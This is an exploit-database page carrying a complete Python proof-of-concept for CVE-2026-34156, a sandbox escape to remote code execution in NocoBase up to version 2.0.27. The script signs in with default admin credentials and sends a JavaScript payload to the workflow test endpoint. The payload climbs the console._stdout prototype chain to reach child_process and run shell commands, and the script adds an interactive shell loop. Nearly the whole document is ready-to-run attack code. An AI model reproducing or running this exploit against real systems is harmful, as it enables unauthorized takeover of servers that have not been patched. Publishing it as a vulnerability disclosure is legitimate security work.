Share
## https://sploitus.com/exploit?id=PACKETSTORM:218487
# Exploit Title: NocoBase <= 2.0.27 - Sandbox Escape to Remote Code Execution
    # Date: 2026-04-07
    # Exploit Author: Franck Boumendil
    # Vendor Homepage: https://www.nocobase.com
    # Software Link: https://github.com/nocobase/nocobase
    # Version: <= 2.0.27
    # Tested on: Linux (Docker)
    # CVE: CVE-2026-34156
    # GitHub: https://github.com/franckboumendil/CVE-2026-34156
    
    #!/usr/bin/env python3
    """
    CVE-2026-34156 - NocoBase Sandbox Escape to RCE
    Prototype chain traversal via console._stdout in Node.js vm sandbox
    
    Affected : <= 2.0.27
    Fixed    : 2.0.28
    CVSS     : 9.9 Critical (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
    Advisory : https://github.com/advisories/GHSA-px3p-vgh9-m57c
    """
    
    import requests
    import argparse
    import sys
    
    requests.packages.urllib3.disable_warnings()
    
    BANNER = """
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘          CVE-2026-34156 โ€” NocoBase RCE PoC                  โ•‘
    โ•‘   Sandbox Escape via console._stdout prototype chain        โ•‘
    โ•‘   Affected: <= 2.0.27  |  Fixed: 2.0.28                    โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    """
    
    def build_payload(cmd):
        return (
            "const Fn=console._stdout.constructor.constructor;"
            "const proc=Fn('return process')();"
            "const cp=proc.mainModule.require('child_process');"
            f"return cp.execSync('{cmd}',{{shell:'/bin/sh'}}).toString().trim();"
        )
    
    def login(target, username, password):
        url = f"{target}/api/auth:signIn"
        try:
            r = requests.post(
                url,
                json={"account": username, "password": password},
                timeout=10,
                verify=False
            )
            token = r.json().get("data", {}).get("token")
            if token:
                print(f"[+] Authentication successful โ€” JWT: {token[:50]}...")
                return token
            print(f"[-] Authentication failed: {r.text}")
            sys.exit(1)
        except Exception as e:
            print(f"[-] Connection error: {e}")
            sys.exit(1)
    
    def exploit_cmd(target, token, cmd):
        url = f"{target}/api/flow_nodes:test"
        headers = {
            "Content-Type": "application/json",
            "Authorization": f"Bearer {token}"
        }
        data = {
            "type": "script",
            "config": {
                "content": build_payload(cmd),
                "timeout": 5000,
                "arguments": []
            }
        }
        try:
            r = requests.post(url, json=data, headers=headers, timeout=15, verify=False)
            result = r.json().get("data", {}).get("result", "")
            if result:
                print(f"\n[+] Output:\n{'-'*40}\n{result}\n{'-'*40}")
            else:
                print(f"[-] No result: {r.text}")
        except Exception as e:
            print(f"[-] Error: {e}")
    
    def interactive_shell(target, token):
        print("\n[*] Interactive shell mode (type 'exit' to quit)\n")
        while True:
            try:
                cmd = input("shell> ").strip()
                if cmd.lower() in ("exit", "quit"):
                    break
                if not cmd:
                    continue
                exploit_cmd(target, token, cmd)
            except KeyboardInterrupt:
                print("\n[*] Interrupted")
                break
    
    def main():
        print(BANNER)
    
        parser = argparse.ArgumentParser(
            description="CVE-2026-34156 โ€” NocoBase RCE via sandbox escape"
        )
        parser.add_argument("-t", "--target",   required=True,
                            help="Target URL (e.g. http://localhost:3000)")
        parser.add_argument("-u", "--username", default="admin@nocobase.com",
                            help="Username (default: admin@nocobase.com)")
        parser.add_argument("-p", "--password", default="admin123",
                            help="Password (default: admin123)")
        parser.add_argument("-c", "--cmd",
                            help="Single command to execute")
    
        args = parser.parse_args()
    
        print(f"[*] Target   : {args.target}")
        print(f"[*] Username : {args.username}")
    
        token = login(args.target, args.username, args.password)
    
        print("\n[*] Checking RCE...")
        exploit_cmd(args.target, token, "id")
    
        if args.cmd:
            exploit_cmd(args.target, token, args.cmd)
        else:
            interactive_shell(args.target, token)
    
    if __name__ == "__main__":
        main()